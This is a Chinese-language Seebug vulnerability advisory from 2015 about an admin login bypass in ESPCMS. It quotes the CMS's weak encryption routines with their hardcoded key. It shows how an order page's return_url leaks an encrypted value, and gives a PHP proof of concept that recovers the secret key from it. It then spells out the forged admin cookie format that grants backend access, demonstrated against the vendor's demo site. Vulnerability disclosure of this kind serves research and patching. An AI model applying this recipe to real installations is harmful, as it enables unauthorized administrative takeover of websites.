ESPCMS最新版后台登入绕过DEMO测试

2015-02-25T00:00:00
ID SSV:94420
Type seebug
Reporter Root
Modified 2015-02-25T00:00:00

Description

简要描述:

漏网之鱼,同样是加解密函数,但又与以前不同。

详细说明:

看看加解密函数

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) { $result = null; if ($operation == 'ENCODE') { if (extension_loaded('mcrypt') && $mcrype) { $result = $this->encryptCookie($string, $key); } else { for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); $result.=$char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); } } elseif ($operation == 'DECODE') { if (extension_loaded('mcrypt') && $mcrype) { $result = $this->decryptCookie($string, $key); } else { $data = str_replace(array('-', '_'), array('+', '/'), $string); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } } return $result; }

比以前的多了一句话

if (extension_loaded('mcrypt') && $mcrype) { $result = $this->encryptCookie($string, $key);

如果存在 mcrypt模块且 $mcrype为true,则调用 encryptCookie进行加密, 看到encryptCookie

function encryptCookie($value, $key = '@LFK24s224%@safS3s%1f%') { if (!$value) { return false; } $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB); $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND); $crypttext = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, md5($key), $value, MCRYPT_MODE_ECB, $iv); return trim(base64_encode($crypttext)); }

php自带的 加密函数。。给跪。 在对会员,后台等cookie操作进行 加密时 mcrype都是默认为true的,于是乎以前的 方法不行了。 但是,在 /interface/ordermain.php这个文件中,发现 加密时,竟然设置了mcrype为false。

function in_read() { ............ $payobj = new $plugcode(); $codesn = $this->fun->eccode($plugcode . $read['ordersn'] . $oid, 'ENCODE', db_pscode, FALSE); $respondArray = array('code' => $plugcode, 'ordersn' => $read['ordersn'], 'oid' => $oid, 'codesn' => $codesn); $return_url = $this->get_link('paybackurl', $respondArray, admin_LNG, 0, 1); ..........

我们可以 将这个 codesn 用以前的方法还原出 key。 后台检测管理员权限的代码如下

if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl)

用得到的key加密

1|admin|md5(password)|md5(admin_AGENT)|1|1|md5(admin_ClassURL)

这个值,即可登入后台了。(password随意,注意admin_AGENT和admin_ClassURL别写错了。 )

首先,注册用户,购买个商品,来到查看订单的页面, 审查元素,

<img src="https://images.seebug.org/upload/201502/24063703e903362755acedb2c13ce329169259ae.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">

return_url=http://demo.ecisp.cn/html/cn/index.php?ac=respond&at=payok&codesn=ls6apsXddYWIjpVlk2eVk5SVkmxiZmpyZ3hoanNsbw&code=alipay&ordersn=ESP-201502240614511702&oid=198

return_url后面的就是我们需要的了。 填入 poc,

$text = "明文"; //得到的字符串中,code,ordersn,oid 依次拼接的值 $cookie = "ls6apsXddYWIjpVlk2eVk5SVkmxiZmpyZ3hoanNsbw"; //cookie $bincookie = base64_decode($cookie); for ($j=0; $j &lt; strlen($text); $j++) { echo chr( ord($bincookie[$j]) - ord($text[$j]) ); }

然后 将得到的key

5b16dd028ac5b2eabab6125A6A88B****

用encryptCookie加密,

<img src="https://images.seebug.org/upload/201502/2406295076e6b9f9d6ae3609ec92b5f9ac36d8f9.png" alt="2.png" width="600" onerror="javascript:errimg(this);">

修改 cookie ecisp_admininfo, 即可登入后台

<img src="https://images.seebug.org/upload/201502/24063259c7c877bd18a66168e2b8e55766e55278.png" alt="3.png" width="600" onerror="javascript:errimg(this);">

漏洞证明:

如上所述。